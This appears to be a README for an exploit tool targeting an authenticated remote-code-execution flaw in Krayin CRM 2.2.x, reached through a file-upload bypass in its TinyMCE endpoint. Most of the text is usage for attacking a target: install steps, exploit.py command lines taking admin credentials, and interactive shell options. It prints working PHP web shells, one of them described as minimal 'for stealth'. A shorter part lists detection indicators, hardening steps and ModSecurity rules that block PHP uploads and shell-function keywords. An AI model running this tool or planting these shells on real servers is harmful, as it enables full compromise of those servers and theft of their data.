
CVE-2026-38526 exploit for Krayin CRM v2.2.x - Authenticated RCE via TinyMCE file upload bypass. Features interactive shell, multi-type payloads, auto shell generation, and verification. Author: Sudeepa Wanigarathna. For authorized testing only.
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY - Unauthorized use is illegal and unethical.
This exploit tool demonstrates a critical authenticated remote code execution (RCE) vulnerability discovered in Krayin CRM version 2.2.x. The vulnerability exists in the TinyMCE file upload functionality, which allows authenticated administrators to upload and execute arbitrary PHP code on the server.
| Property | Value |
|---|
| CVE ID | CVE-2026-38526 |
| Affected Software | Krayin CRM v2.2.x |
| Vulnerability Type | Authenticated Remote Code Execution (RCE) |
| Authentication Required | Yes (Admin-level access) |
| Impact | Complete system compromise |
| CVSS Score | 8.8 (High) |
The vulnerability stems from insufficient file type validation in the TinyMCE file upload endpoint (/admin/tinymce/upload). An authenticated administrator can:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
| Parameter | Description |
|---|---|
-t, --target | Target URL (e.g., http://192.168.1.100) |
-u, --username | Admin username or email |
-p, --password | Admin password |
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password
# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Basic Shell (basic)
Simple command execution with system() function.
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Advanced Shell (advanced)
Feature-rich shell with:
Minimal Shell (minimal)
Minimal footprint for stealth.
<?php system($_GET["cmd"]); ?>
File Manager (file_manager)
Complete file management interface:
Custom Shell (custom)
Use your own PHP shell file with the -f parameter.
Human-readable colored output suitable for interactive use.
-o json)Machine-readable format for automation and integration.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)No output except for errors. Useful for batch processing.
| Option | Description | Default |
|---|---|---|
--timeout | Request timeout in seconds | 30 |
--retry | Number of retry attempts | 3 |
--retry-delay | Delay between retries in seconds | 2 |
--user-agent | Custom User-Agent string | Default browser UA |
--header | Custom HTTP headers (Key: Value) | None |
--verify-ssl | Verify SSL certificates | False |
--proxy | HTTP/HTTPS proxy URL | None |
-v, --verbose | Enable debug output | False |
-q, --quiet | Suppress all output | False |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Files to Monitor:
public/storage/upload/image.php.jpg)Logs to Check:
/admin/tinymce/upload POST requestsSystem Indicators:
Immediate Actions:
# Update to patched version
composer update krayin/crm
# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords
File Upload Hardening:
// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning
Access Control:
# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies
WAF Rules (ModSecurity):
# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
This vulnerability was discovered through responsible security research. The disclosure process followed these steps:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
Issue: Authentication fails
/admin/loginIssue: File upload fails
Issue: Shell doesn't execute commands
php.iniecho testIssue: SSL certificate errors
--verify-ssl flag or disable verification# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v
# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
Contributions are welcome! Please ensure:
If you find this tool useful for security research, please consider:
Created with ❤️ for Security Research
Remember: Great power comes with great responsibility. Use this knowledge wisely!
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# Options:
# -f FILE Upload custom shell
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Interactive mode
# --proxy URL HTTP proxy
# -v Verbose output
# -o json JSON output
# --generate-only Create shell without exploiting
# --timeout SEC Request timeout
# --retry N Retry count
# --user-agent UA Custom User-Agent
# --header "K: V" Custom headers
# --verify-ssl Verify SSL certificates
# -q, --quiet Suppress output
🔒 Remember: Always get written permission before testing any system!